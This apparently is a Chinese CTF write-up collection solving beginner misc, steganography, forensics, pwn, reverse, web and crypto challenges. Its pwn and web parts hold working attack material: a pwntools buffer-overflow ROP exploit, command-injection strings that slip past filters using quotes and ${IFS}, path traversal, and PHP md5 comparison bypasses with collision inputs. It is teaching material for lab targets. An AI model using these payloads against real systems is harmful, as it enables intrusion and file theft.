Misc [Week1] 布豪有黑客(一)
不好!是流量包
打开来就能看见个flag.zip
导出看看
额,就拿这个password.txt作为这个flag.zip的密码即可
鉴定为简单签到题
flag{Wireshark_1s_4wes0m3}
[Week1] 文化木的侦探委托(一)
太好啦!是最喜欢的图片隐写环节
宽高有问题,我们修复一下
如何修复呢?这边有很多做法,首先是了解png格式的图片的每一个chunk其实都包含有循环冗余校验码,也就i是CRC32,根据这种算法我们可以爆破出png图片的宽高
这四个字节记录的便是CRC码
附一个爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import binascii import struct # 打开图片 crcbp = open("photo.png", "rb").read() # 读取图片中的CRC校验值 crc32frombp = int(crcbp[29:33].hex(), 16) print("图片中的CRC值:", crc32frombp) # 枚举所有可能的宽度和高度组合 for i in range(1, 4096): # 宽度1-4095 for j in range(1, 4096): # 高度1-4095 # 构造IHDR块数据(不包括长度字段) data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29] # 计算CRC32值 crc32 = binascii.crc32(data) & 0xffffffff # 比较CRC值,如果相同则找到正确的图片尺寸 if crc32 == crc32frombp: # 修复了这里的语法错误 print("找到正确的图片尺寸:") print("宽度:", i, "高度:", j) print('十六进制 - 宽度:', hex(i), '高度:', hex(j)) exit(0) print("未找到匹配的图片尺寸")
得到了正确的宽高大小,我们寻找图片中存放这种宽高的地方
其实就在这边,前四个字节存放宽的大小,而后四个字节存放着高的大小
因此我们可以发现这与原图片的实高相差甚远,只要改成00000A28即可解决问题
改成这样子就好了
当然直接扔到Tweakpng或其他工具也可以直接出
TweakPNG会告诉你现在CRC是多少,应该是多少
随波逐流更是直接会跳出来,但是在直接一把梭之前,建议大家还是搞清楚原理最为重要
根据提示,红绿蓝,这很难不让人直接联想到所谓的RGB三原色
我们知道,图像的每一个RGB通道都是一个0-255的八位数字
然而,若我们去轻微改变每个颜色的最后一位,这意味着数字只浮动1的大小,这种改变是无法被人眼察觉出来的
这最后一位“最低有效位”就叫LSB(Least Significant Bit),我们可以依靠这一位来隐藏一些二进制,如果我们对多个像素进行利用,就获得了多比特位的存储空间,这种空间里也就可以存储需要隐写的数据了,而这一种隐写就是LSB隐写
好这一题根据题目所述,就是红色通道的第一位,绿色通道的第0位和蓝色通道的第2位藏着内容,我们尝试提取这些内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from PIL import Image import numpy as np def extract_lsb_simple(image_path): img = np.array(Image.open(image_path)) bits = [] for y in range(img.shape[0]): for x in range(img.shape[1]): r, g, b = img[y, x, :3] bits.append((r >> 1) & 1) # 红色第1位 bits.append(g & 1) # 绿色第0位 bits.append((b >> 2) & 1) # 蓝色第2位 data = bytearray() for i in range(0, len(bits), 8): byte = sum(bits[i+j] << (7-j) for j in range(min(8, len(bits)-i))) data.append(byte) return bytes(data) data = extract_lsb_simple(r"G:\ctf\?CTF\Misc\012539_奇怪的图片\奇怪的图片-修复高宽.png") open("output.bin", "wb").write(data) print("提取完毕")
提取后观察十六进制即可发现flag
当然直接用stegslove工具也能得到
flag{Please_Find_ME}
[Week2] 文化木的侦探委托(二)
上来是这样子一张png图片,先查看十六进制
查看十六进制发现了这样子一句话:你知道盲水印是什么吗?
似乎是盲水印?但什么是盲水印呢?
盲水印是一种数字水印技术,将水印信息嵌入到图像、音频或视频等媒体文件中,而不会明显印象原始内容的质量。
这边是对载体图片进行了一种数学变化,最常用的是离散余弦变换嵌入(DCT)特性和小波变化特性等等,将经过编码的水印信息量化地嵌入到中频系数中去(避免在低频改动影响画面,也避免在高频丢失)
大概就是图片变成频谱图,然后水印变成编码后的水印,俩合成一张含水印数据的频谱图
核心是频域的叠加
1 2 3 4 5 6 7 # 傅里叶变换 f1 = np.fft.fft2(img) # 原图频域 f2 = f1 + alpha * rwm # 加水印 # 逆变换得到嵌入水印的图片 _img = np.fft.ifft2(f2) img_wm = np.real(_img)
“盲”的意思是提取水印的时候是不需要原始文件作为参考的
一般开源的实施方案是两个python库,blind-watermark和invisible-watermark
blind-watermark支持加密保护,提取不需要原图,抗攻击能力较强;而invisible-watermark则抗攻击性略差,且不支持加密。
https://github.com/guofei9987/blind_watermark
https://github.com/ShieldMnt/invisible-watermark
如果只有一张就是上边那样,但是这一题似乎不太一样
我们观察PNG格式
一般一张png图片在生成的时候就会计算出图片的IDAT块长度,超出长度的会被放入下一个IDAT块中,因此基本上是定长,直到最后一块
所以这边的长度明显不对劲,134应该就已经结束了
所以下边应该是第二张图,我们保留原来的头和尾,单独提取出上半部分和下半部分
保存之后发现依旧看不出啥区别,但是我们于此获得了两张图
这就涉及了另一种盲水印,双图盲水印
这是一种将信息存放在两张图的差异关系的水印隐藏方式
尽管这边同样是把信息通过DCT,DWT等手段叠加在图一的颜色通道特定频率上
但这边的“盲”就不再是不需要原图的意思了,我们需要两张图片配对使用
将双图xor后会发现黑色底蓝色条纹的图片,这也是双图盲水印工具的一大特点(我怀疑是这个信息藏在蓝色通道上,因为蓝色的改动人眼最难察觉)
于是我们确定了隐写方式,进行双图盲水印解密即可
https://github.com/chishaxie/BlindWaterMark
脚本如上,主要是两个步骤解码
首先是提取拆分
1 2 3 4 5 6 7 # 分别对原图和带水印图做傅里叶变换 f1 = np.fft.fft2(img) # 原图频域 f2 = np.fft.fft2(img_wm) # 带水印图频域 # 提取加密水印 rwm = (f2 - f1) / alpha # 频域差分除以强度系数 rwm = np.real(rwm) # 取实部
然后再水印恢复
1 2 3 4 5 6 7 8 9 10 11 # 使用相同的随机种子生成打乱序列 random.seed(seed) m, n = range(int(img.shape[0] * 0.5)), range(img.shape[1]) random.shuffle(m) random.shuffle(n) # 逆置乱恢复水印 wm = np.zeros(rwm.shape) for i in xrange(int(rwm.shape[0] * 0.5)): for j in xrange(rwm.shape[1]): wm[m[i]][n[j]] = np.uint8(rwm[i][j]) # 按原顺序放回
最后即可得到flag
flag{W@tch_underw@ter}
[Week3] 文化木的侦探委托(三)
委托毫无进展了,下载附件看看
文件损坏了!根据题目提示好像只有三四五处坏了
发现压缩包的dirEntry区损坏了,在修复之前:
这一道题主要涉及了Zip文件的解压流程,我们来理一下思路
我们都知道,zip分为三个结构,目录结束标识存在于整个ZIP的结尾,用于标记压缩的目录数据的结束,因此每个压缩文件都必须有且仅有一个EOCD记录
而对于zip解压而言,一般是分为四个阶段进行解压
首先是阶段1:定位到中央目录结束标记EOCD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 bool FindEndOfCentralDirectory(FILE* zipFile) { // 1. 从文件末尾向前搜索(最多向前64KB) fseek(zipFile, 0, SEEK_END); long fileSize = ftell(zipFile); long searchStart = max(0, fileSize - 65536); // ZIP规范规定EOCD在最后64K内 // 2. 寻找签名 0x06054b50 unsigned char buffer[1024]; for (long pos = fileSize - 4; pos >= searchStart; pos--) { fseek(zipFile, pos, SEEK_SET); fread(buffer, 4, 1, zipFile); if (*(unsigned int*)buffer == 0x06054b50) { // EOCD签名 // 3. 读取EOCD记录 fseek(zipFile, pos, SEEK_SET); fread(&eocd, sizeof(ZipEndRecord), 1, zipFile); return true; } } return false; }
EOCD的结构如下
读完这一部分,系统就知道如何读中央目录了,然后就跑去读中央目录了,进入阶段2,开始循环读取每个dirEntry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // 读取中央目录 void ReadCentralDirectory(FILE* zipFile, ZipEndRecord& eocd) { // 1. 跳转到中央目录起始位置 fseek(zipFile, eocd.centralDirOffset, SEEK_SET); // 2. 循环读取每个dirEntry vector<ZipDirEntry> dirEntries; for (int i = 0; i < eocd.totalEntries; i++) { ZipDirEntry entry; // 读取固定部分 fread(&entry.signature, 4, 1, zipFile); if (entry.signature != 0x02014b50) break; // 验证签名 fread(&entry.versionMadeBy, 2, 1, zipFile); fread(&entry.versionNeeded, 2, 1, zipFile); fread(&entry.flags, 2, 1, zipFile); fread(&entry.compression, 2, 1, zipFile); fread(&entry.fileTime, 2, 1, zipFile); fread(&entry.fileDate, 2, 1, zipFile); fread(&entry.crc32, 4, 1, zipFile); fread(&entry.compressedSize, 4, 1, zipFile); fread(&entry.uncompressedSize, 4, 1, zipFile); // 读取长度字段 unsigned short fileNameLength, extraFieldLength, fileCommentLength; fread(&fileNameLength, 2, 1, zipFile); fread(&extraFieldLength, 2, 1, zipFile); fread(&fileCommentLength, 2, 1, zipFile); fread(&entry.diskNumStart, 2, 1, zipFile); fread(&entry.internalAttr, 2, 1, zipFile); fread(&entry.externalAttr, 4, 1, zipFile); fread(&entry.localHeaderOffset, 4, 1, zipFile); // 关键:指向本地文件头 // 读取可变长度字段 entry.fileName.resize(fileNameLength); fread(&entry.fileName[0], 1, fileNameLength, zipFile); if (extraFieldLength > 0) { entry.extraField.resize(extraFieldLength); fread(&entry.extraField[0], 1, extraFieldLength, zipFile); } if (fileCommentLength > 0) { entry.fileComment.resize(fileCommentLength); fread(&entry.fileComment[0], 1, fileCommentLength, zipFile); } dirEntries.push_back(entry); } }
之后进入阶段3,先根据刚刚在dirEntry得到的偏移量,跳转到本地文件头,接着开始从record读取数据,遍历而解压每一个位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 void ExtractAllFiles(FILE* zipFile, vector<ZipDirEntry>& dirEntries) { for (auto& entry : dirEntries) { // 1. 根据dirEntry中的偏移量,跳转到本地文件头 fseek(zipFile, entry.localHeaderOffset, SEEK_SET); // 2. 读取本地文件头(record区) LocalFileHeader localHeader; fread(&localHeader.signature, 4, 1, zipFile); if (localHeader.signature != 0x04034b50) { // 错误处理 continue; } // 读取本地文件头剩余部分 fread(&localHeader.version, 2, 1, zipFile); fread(&localHeader.flags, 2, 1, zipFile); fread(&localHeader.compression, 2, 1, zipFile); fread(&localHeader.fileTime, 2, 1, zipFile); fread(&localHeader.fileDate, 2, 1, zipFile); fread(&localHeader.crc32, 4, 1, zipFile); fread(&localHeader.compressedSize, 4, 1, zipFile); fread(&localHeader.uncompressedSize, 4, 1, zipFile); unsigned short fileNameLength, extraFieldLength; fread(&fileNameLength, 2, 1, zipFile); fread(&extraFieldLength, 2, 1, zipFile); // 3. 读取文件名 char fileName[256]; fread(fileName, 1, fileNameLength, zipFile); fileName[fileNameLength] = '\0'; // 4. 跳过扩展字段 if (extraFieldLength > 0) { fseek(zipFile, extraFieldLength, SEEK_CUR); } // 5. 读取压缩数据 vector<unsigned char> compressedData(localHeader.compressedSize); fread(compressedData.data(), 1, localHeader.compressedSize, zipFile); // 6. 检查是否有数据描述符(通用位标记第3位) bool hasDataDescriptor = (localHeader.flags & 0x08) != 0; if (hasDataDescriptor) { // 如果设置了数据描述符,则CRC和大小在压缩数据之后 fread(&localHeader.crc32, 4, 1, zipFile); fread(&localHeader.compressedSize, 4, 1, zipFile); fread(&localHeader.uncompressedSize, 4, 1, zipFile); } // 7. 解压数据 vector<unsigned char> uncompressedData = DecompressData( compressedData, localHeader.compression, localHeader.uncompressedSize ); // 8. 验证CRC unsigned int calculatedCRC = CalculateCRC32(uncompressedData); if (calculatedCRC != localHeader.crc32) { // CRC校验失败 continue; } // 9. 写入文件 SaveFile(fileName, uncompressedData); } }
到此基本就结束了,只有少部分才有第四阶段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // 处理数据描述符的情况 if (hasDataDescriptor) { // 本地文件头中的CRC、大小字段为0 // 实际值在压缩数据之后 unsigned int dataDescriptor[3]; fread(dataDescriptor, 4, 3, zipFile); // 验证数据描述符签名(可选) unsigned int nextBytes; fread(&nextBytes, 4, 1, zipFile); if (nextBytes == 0x08074b50) { // 数据描述符签名 // 刚刚读取的就是签名,重新调整 localHeader.crc32 = dataDescriptor[0]; localHeader.compressedSize = dataDescriptor[1]; localHeader.uncompressedSize = dataDescriptor[2]; } else { // 没有签名,回退 fseek(zipFile, -4, SEEK_CUR); localHeader.crc32 = dataDescriptor[0]; localHeader.compressedSize = dataDescriptor[1]; localHeader.uncompressedSize = dataDescriptor[2]; } }
大概理清楚之后我们其实可以了解到,损坏的dirEntry区作为中央目录,它和record区是双向关联,功能互补,冗余验证的,我们既然dirEntry区坏了,自然是可以利用record区的
这个利用有两层意思
第一层就是正常对照着record区对dirEntry区进行修复工作
对照可以发现是deCompression、deFileNameLength和deFileName三部分遭到了修改,我们照着record区的数据改回来
就能顺利打开了
打开后得到flag~
flag{keep_m0ving_forward_f0r_the_ro@d_ahead_1s_l0nger_and_hard3r}
第二层利用说的是咱可以直接用record区解压啊()
我们知道题目只修改了dirEntry的内容,而我们7zip是只看record区的,因此这一道题如果我们用7zip是可以直接解压得到flag的
直接解压完直接看答案就好了
这个是这样的,bandzip会读dirEntry的内容,而WinRAR是两区都读,高级人
[Week4] 文化木的侦探委托(四)
上来文件比别的多多了,如果只看题目内容的话大致是我们需要这个原始的音频
但是上来给的四个文件什么都看不出来
我们从唯一可读的文件入手
发现这是一份GNU Radio Companion的流程图文件啊
主要目的是从音频文件password.wav里边提取信息
我们先下载一个GNU Radio Companion
https://github.com/radioconda/radioconda-installer
在官网下载后打开
大概界面如图,这是GNU Radio这个开源软件无线电SDR开发平台的一个图形化界面
主要是通过软件实现信号处理,无需专用硬件电路即可完成调制解码、滤波、频谱分析等任务
这边就可以看到是一些任务,我们刚刚的那个文件就是这样子一个流程图
只需将后缀改为.grc即可打开
打开后可以看到流程图如上,在流程图可以看到很多最后产生的文件,都是一开始题目给的剩下三个文件,我们一个个来看
首先是这个password…?文件的产生,这是由一个password.wav产生的
就是(原音频+虚拟原信号)*2.5得到的这个password…?
现在还差个虚拟原信号Virtual Source
正好下边俩文件可以逆向出这个
这俩文件不是白给的
这个mag是个复数幅度信息文件,phase是个复数相位信息文件
这下可以直接逆推出Virtual Source了
我们保存的:mag = |Z_conj|, phase = arg(Z_conj)
其中 Z_conj = 共轭(Z_original)
所以Z_conj = mag × exp(j × phase)
那么Z_original = conjugate(Z_conj) = mag × exp(-j × phase)
大概就是这样子
这边解法的话有两种,一种是直接python解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import numpy as np import soundfile as sf def reconstruct_virtual_source(mag_file, phase_file): mag = np.fromfile(mag_file, dtype=np.float32) phase = np.fromfile(phase_file, dtype=np.float32) min_len = min(len(mag), len(phase)) mag = mag[:min_len] phase = phase[:min_len] print(f"读取mag: {len(mag)}个点, phase: {len(phase)}个点") # 从幅度和相位重构复数 complex_signal = mag * np.exp(1j * phase) # 取共轭得到原始复数 complex_original = np.conj(complex_signal) # 取实部作为虚拟源信号(根据图片,实部和虚部相同) virtual_source = np.real(complex_original) return virtual_source def decrypt_audio(encrypted_file, virtual_source, output_file="password.wav"): encrypted = np.fromfile(encrypted_file, dtype=np.float32) print(f"读取加密文件: {len(encrypted)}个点") if len(virtual_source) < len(encrypted): # 重复虚拟源信号 repeats = int(np.ceil(len(encrypted) / len(virtual_source))) virtual_source = np.tile(virtual_source, repeats)[:len(encrypted)] #哦这边还得匹配一下长度 if len(virtual_source) != len(encrypted): min_len = min(len(encrypted), len(virtual_source)) encrypted = encrypted[:min_len] virtual_source = virtual_source[:min_len] print(f"将双方截断到{min_len}个点") # 解密公式: (原始音频 + 虚拟源) * 2.5 = 加密文件 # 所以: 原始音频 = 加密文件/2.5 - 虚拟源 original_audio = encrypted / 2.5 - virtual_source # 保存为WAV文件 sf.write(output_file, original_audio, 44100) print(f"解密完成! 保存为: {output_file}") return original_audio if __name__ == "__main__": # 重构虚拟源信号 virtual_source = reconstruct_virtual_source("mag", "phase") # 解密音频 recovered_audio = decrypt_audio("password...?", virtual_source, "recovered_password.wav") # 简单分析结果 print(f"\n解密结果统计:") print(f" 最小值: {recovered_audio.min():.6f}") print(f" 最大值: {recovered_audio.max():.6f}") print(f" 均值: {recovered_audio.mean():.6f}") # 检查是否看起来像音频 if np.max(np.abs(recovered_audio)) > 0.1: print("解密结果看起来像是音频信号") else: print("警告: 信号幅度很小,可能需要进一步分析") # 检查是否有明显模式 unique_vals = np.unique(np.round(recovered_audio, 3)) if len(unique_vals) < 10: print(f"可能为编码信号,只有 {len(unique_vals)} 个不同的值") print(f"值: {unique_vals}")
当然了,我们也可以直接在GNU进行解密的
特别要注意每一块的type设置,否则红的不让用,建议是走全英文路径,避免失败
不管用哪种方法我们都能得到解密后的音频文件
听出来大概是拨号的声音,所以我们下载一个相关的拨号解密工具
Releases · Moxin1044/DTMF2NUM
得到压缩包密码:24#A1B87C4*0#DD
解开即可得到flag
flag{Wh@t_I_hope_you_wi11_seek_i5_y0ur_true_self_wi7hin.}
[Week1] 俱乐部之旅(1) - 邀请函
上来就是个加密压缩包,这边看上去像掩码啊?
试试看
秒出
c5im8467
OK,这个word有问题,word隐写应该一共就没几种
改后缀为zip,看看内容
果然能发现一个
看上去是十六进制
啊,好像是后半段?
还有一半应该在文档里边
打开来可以看到头上有一些内容
“重要的内容就应该存在备注中”
原来写的是这个
写了让我用每7位转一个ASCII码了
那我直接转就是了
flag{W0rd_5t3g_is_1z
所以flag为flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}
[Week1] 维吉尼亚朋友的来信
噢?是音频隐写题
Audacity开起来看看
是菊次郎的夏天啊,挺好听的,还是双声道的
打开多视图直接就看见了KEY{deepsound}
给了key,就是有key的音频隐写了,又说deepsound,那很有可能是deepsound加密
之前直接扔到deepsound一直出不来,现在判断下来是版本太低不支持Win11(嘻嘻当时做了一辈子都搞不出来看傻了)
问题不大,下一个最新版Deepsound2.2
https://github.com/Jpinsoft/DeepSound/releases
得到一个txt文件
打开来明显发现有加密,根据题目名字推测是维吉亚娜,key应该就是deepsound
得到flag是flag{funny_letter_to_you}
[Week1] 《关于我穿越到CTF的异世界这档事:序》
Osint [Week1] Task 1. 见面地点
见面地点,看看图片
左边那东西还挺有辨识度的,是河南艺术中心,那就很好找了,大概能确定是郑州的郑东新区那边,然后找找地铁站就好
是会展中心站,然后是郑州地铁1号线和4号线的交接站
接下来就直接构造flag模板就好了,这玩意AI能直接看出来
如图:
flag{1_4_HuiZhanZhongXin}
Forensics [Week1] 取证第一次
话都说到这份上了,去日志里找就是了
是个镜像,我们火眼打开分析
直接在路径/var/log就能找到flag的日志文件
这也太简单了(??)我发现现在的CTF取证题目要么我是一点不会,要么就是一眼出
flag{F0r3ns1cs_i$Fun_Rea11y ???}
Pwn [Week1] ncncnc
太好啦!是nc,我们有救了
上来先是cat应用
第二部分是cat和hint的绕过,因为只是字符串进了黑名单我们可以直接用单引号绕过
c’at’ hi’nt’即可
第三部分绕过空格,只要${IFS}绕过即可
这题出的全是绕过啊,像web题
得到flag{b59a0c9c-c448-499b-b784-20939501c441}
[Week1] 勇者救公主
是一道又臭又长的复制粘贴题
给的提示太多了导致很没意思
就是这样子,每一步都全是提示
主要是又臭又长,太久不动又要重新开打
但是似乎可以跳关
看指向的值x/1x 即可
噢好吧,不能跳关,跳关了交不上答案
一步步就好,后边提示都是直接报答案的,我实在不知道有什么写wp的必要
flag{9DB_M4S7eR_dr@9On_514YER_z#Zs}
[Week1] count
我们先nc试试看
似乎后边需要很快的回答速度,否则会马上结束,所以这就是需要写代码了,手打肯定来不及,我直接复制粘贴进python算都来不及
先截断在2025*2025,然后去发个4100625
后边等到进入运算阶段,每次都截断?即可,后边开始提取十六进制数算一下,都是加法,再发过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context.log_level="debug" io = remote('challenge.ilovectf.cn', 30497) io.recvuntil(b'2025x2025=?') io.sendline(b'4100625') io.recvuntil(b'Are you ready?') for _ in range(100): question = io.recvuntil(b'?').decode().strip() hex_nums = re.findall(r'0x[0-9A-F]+', question) num1 = int(hex_nums[0], 16) num2 = int(hex_nums[1], 16) result = hex(num1 + num2) io.sendline(result.encode()) io.interactive()
直接就输出flag了
flag{5bc0d3b6-44e8-4681-8db0-2bfc10a988b8}
[Week1] 危险的 gets
保护:
看看main函数,64位
好看起来是个溢出的rop题目
0x40+8溢出
溢出后直接去后门函数即可
backdoor=0x0004011B6
注意栈对齐
ROPgadget –binary “pwn” –only “pop|ret”
ret=0x40101a
直接写代码吧
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context.log_level="debug" io=remote("challenge.ilovectf.cn",30524) padding=0x40+8 backdoor=0x0004011B6 ret=0x40101a payload=b"a"*padding+p64(ret)+p64(backdoor) io.recvuntil(b"plz input your name: ") io.sendline(payload) io.interactive()
flag{1_bEllev3_tHA7_y0U_KnOw_g3ts_i5_DaNG3RouS}
[Week1] 幸运星
幸运星?
保护:
我靠全开啊
连续猜中50次就好啦~这怎么可能啊!
肯定需要动用libc了
Reverse [Week1] 8086ASM
考汇编语言来了
来看看汇编语言
大概理解一下逻辑,上边的是密文,下边的是key
然后要我加密后和上边的密文长一样
核心在于这个加密部分
主要是两部分
首先是循环右移,左边缺的由右边多的补
然后是异或加密:将当前字节和它的下一个字节作为一个整体,与密钥中的一个字进行异或操作。密钥是循环使用的,即用尽5个字后从头开始
大概理解之后就可以开始解密了,由于是异或所以不会很难,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def rol_byte(byte, shift): shift %= 8 return ((byte << shift) & 0xFF) | (byte >> (8 - shift)) data = [ 0xBB, 0x1B, 0x83, 0x8C, 0x36, 0x19, 0xCC, 0x97, 0x8D, 0xE4, 0x97, 0xCC, 0x0C, 0x48, 0xE4, 0x1B, 0x0E, 0xD7, 0x5B, 0x65, 0x1B, 0x50, 0x96, 0x06, 0x3F, 0x19, 0x0C, 0x4F, 0x4E, 0xF9, 0x1B, 0xD7, 0x0C, 0x1D, 0xA0, 0xC6 ] keys = [0x1122, 0x3344, 0x1717, 0x9090, 0xBBCC] for i in range(34, -1, -1): j = i % 5 key_word = keys[j] low_byte = data[i] high_byte = data[i + 1] word_val = (high_byte << 8) | low_byte word_val ^= key_word # 更新数据字节 data[i] = word_val & 0xFF data[i + 1] = (word_val >> 8) & 0xFF # 循环左移2位(逆ROR) data[i] = rol_byte(data[i], 2) flag_bytes = data[:36] flag = ''.join(chr(b) for b in flag_bytes if b != 0) print(flag)
flag{W31c0m3_t0_8086_A5M_W0RlD___!!}
[Week1] PlzDebugMe
动调题
32位
在输入点先打个断点,动调看看
我的输入会放在这边,一共32个位置
会和这个比较
密文是上边这个
但是这边不能动调直接得到啊
毕竟是一个个检验的,不对直接return 0了,所以我们不能patch
那就看看加密过程吧
基本上可以确定加密函数就是这个sub_40167D
这是流密码啊
会生成一个伪随机数,然后和原来的异或去
我们可以根据前几位,如5B和66来确定到底在和谁异或
可能需要暴力破解一下流加密,因为是确定的,所以我们可以做到这一步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 def lcg(state): """ 线性同余生成器 (LCG) 与题目中的 sub_401656 函数对应 """ state = (1103515245 * state + 12345) & 0xFFFFFFFF random_value = (state >> 16) & 0x7FFF # 取高15位 return state, random_value def find_lcg_seed(known_key_stream): """ 暴力破解LCG的初始种子 known_key_stream: 已知的密钥流列表(即PRNG输出值的低8位) """ # 遍历所有可能的32位初始状态 for candidate_seed in range(0, 0x100000000): state = candidate_seed match = True # 检查该种子生成的序列是否与已知密钥流匹配 for expected_key_byte in known_key_stream: state, rand_val = lcg(state) actual_key_byte = rand_val & 0xFF # 取随机数的低8位 if actual_key_byte != expected_key_byte: match = False break if match: return candidate_seed return None # 如果没找到,返回None # 已知的明文开头 known_plaintext_start = [0x66, 0x6C, 0x61, 0x67, 0x7B] # "flag{" # 完整的密文 full_ciphertext = [ 0x5B, 0x50, 0xA1, 0x25, 0x84, 0x8E, 0x61, 0xC4, 0x6B, 0xBB, 0xAE, 0x05, 0x0B, 0xC6, 0x3D, 0x42, 0x5A, 0xFB, 0xC1, 0xC9, 0x4E, 0xE9, 0x8D, 0x50, 0x91, 0x87, 0x87, 0x24, 0xAD, 0xAF, 0xD5, 0x36 ] # 1. 根据已知明文和密文,计算密钥流的前5个字节 known_key_stream = [] for i in range(len(known_plaintext_start)): key_byte = known_plaintext_start[i] ^ full_ciphertext[i] known_key_stream.append(key_byte) print("已知的密钥流前5字节:", [hex(k) for k in known_key_stream]) # 2. 暴力破解LCG的种子 print("正在暴力破解LCG初始种子,这可能需要几分钟...") found_seed = find_lcg_seed(known_key_stream) if found_seed is None: print("未能找到正确的初始种子。") else: print(f"成功找到LCG初始种子: {hex(found_seed)}") # 3. 使用找到的种子解密全部密文 state = found_seed decrypted_text = "" for cipher_byte in full_ciphertext: state, rand_val = lcg(state) key_byte = rand_val & 0xFF plain_byte = cipher_byte ^ key_byte decrypted_text += chr(plain_byte) print("\n解密出的完整明文是:") print(decrypted_text)
成功找到LCG初始种子: 0x1e240
解密出的完整明文是:
flag{Y0u_Kn0w_H0w_t0_D3bug!!!!!}
(好吧这一题是不是不应该这样子做?应该动调?)
[Week1] ezCSharp
这边需要用dnspy,正好我有
OK打开了
我们直接搜flag{很容易定位到这边,这边是很简单的加密,只是把!换成_,然后把a换成z,最后把b-z往前一位
Locate the ‘FlagContainer’ class in the Program Resource Manager
我们找找
其实搜感叹号也行,直接搜这个flagcontainer不知道为什么找不到
直接按规则解密D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025
先小写字母移1,然后把!换成_,然后把a换成z
flag{D1tbi0t_spive_engineering_wi_doropy_it_fun_2025}
[Week1] ezCalculate
看看main函数,是很长的加密过程
先和key的内容相加,再和key的内容异或,最后相减,有够复杂的
我们直接逆向也是这个思路
key是这个wwqessgxsddkaao123wms
然后密文是上边这个
最后要和这个比
1 2 3 4 5 6 7 8 9 10 11 解密第三步: for i in range(data_length): decrypted[i] = (decrypted[i] + ord(key[i % key_length])) % 256 解密第二步: for i in range(data_length): decrypted[i] ^= ord(key[i % key_length]) 解密第一步: for i in range(data_length): decrypted[i] = (decrypted[i] - ord(key[i % key_length])) % 256
然后就可以得到flag
flag{Add_X0r_and_Sub}
Web [Week1] 前端小游戏
是一个小游戏
结果就算60秒点了30个也不给flag,浪费我时间。。
在源代码可以看到game.js
然后我们点进去看看
分高于30就发这些,这一眼base64
flag{b7b3095a-97fa-4bec-a7a4-502746ceb949}
[Week1] Ping??
好眼熟的题目,nss好像有一道差不多的
差不多是在后边加&然后加命令
那我们也试试看
但是不知道过滤了什么,我们试试看
OK没过滤&,可以这样子做
我们尝试127.0.0.1&c’at’ f*
直接就得到了
flag{8ca4c143-4499-4f8f-9f18-c998a41431f6}
[Week1] from_http
好像所有新生赛都有的玩意
OK啊,直接改user-agent
照做就好?welcome=to
the=?CTF
比0xGame的好玩
一步步跟着做就好啦,直接得到flag
flag{843d5687-0cfc-47b0-b481-30fcadaed18d}
[Week1] Gitttttttt
说是在有.git文件
其实也就是git泄露的题目,我们加上/.git/index看看,.git/index 文件是暂存区,记录了哪些文件被添加到了暂存区以及它们的状态。如果该文件被泄露,攻击者可以通过分析索引文件来了解哪些文件可能包含敏感信息,以及它们的版本状态。
发现有个txt,我们复制粘贴/flag_yooooooouuuuuu_caannnnnnnntttttttt_fiiiiiinnnndddme.txt
flag{oH_I_NEzv0R_lEV3O_7lE_G&IT_ABgAZN}
[Week1] 包含不明东西的食物?!
投入锅里?看上去像文件上传漏洞,打开看看
啊好像不是,不能上传
只能写路径然后看文件
这边源代码有提示
那一共我们在/var/www/html/backpack/路径,一般都会放在根目录,那我们要写四个../回退
OK成功得到
flag{d78b163e-8722-4414-b239-960f65b387b5}
[Week1] secret of php
很简单的php题,只是要严格不等于2025,但是intval($a, 0)之后为2025,那直接十六进制即可
a=0x7E9
噢原来有好几题吗
三部分
第一部分是经典md5,直接0e绕过,a=QNKCDZO&b=240610708,他们的md5都是0e开头,会被认为都是0
第二部分是值不一样,但是类型和md5值都一样,直接数组绕过aa[]=1&bb[]=2
第三部分要求更高了(string)$a !== (string)$b,但MD5哈希严格相等,我们使用URL编码后的字符串
这边上下都可以
1 aaa = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
可能是POST太长了传不过去,只需要把最后的改为GET传输即可
这边可以看到最后的flag
flag{56809c55-5956-45f4-9618-f2abac62ed68}
Crypto [Week1] Basic Number theory
是一个基于中国剩余定理CRT的题目
所以gift1可能是m mod p或者是-m mod p
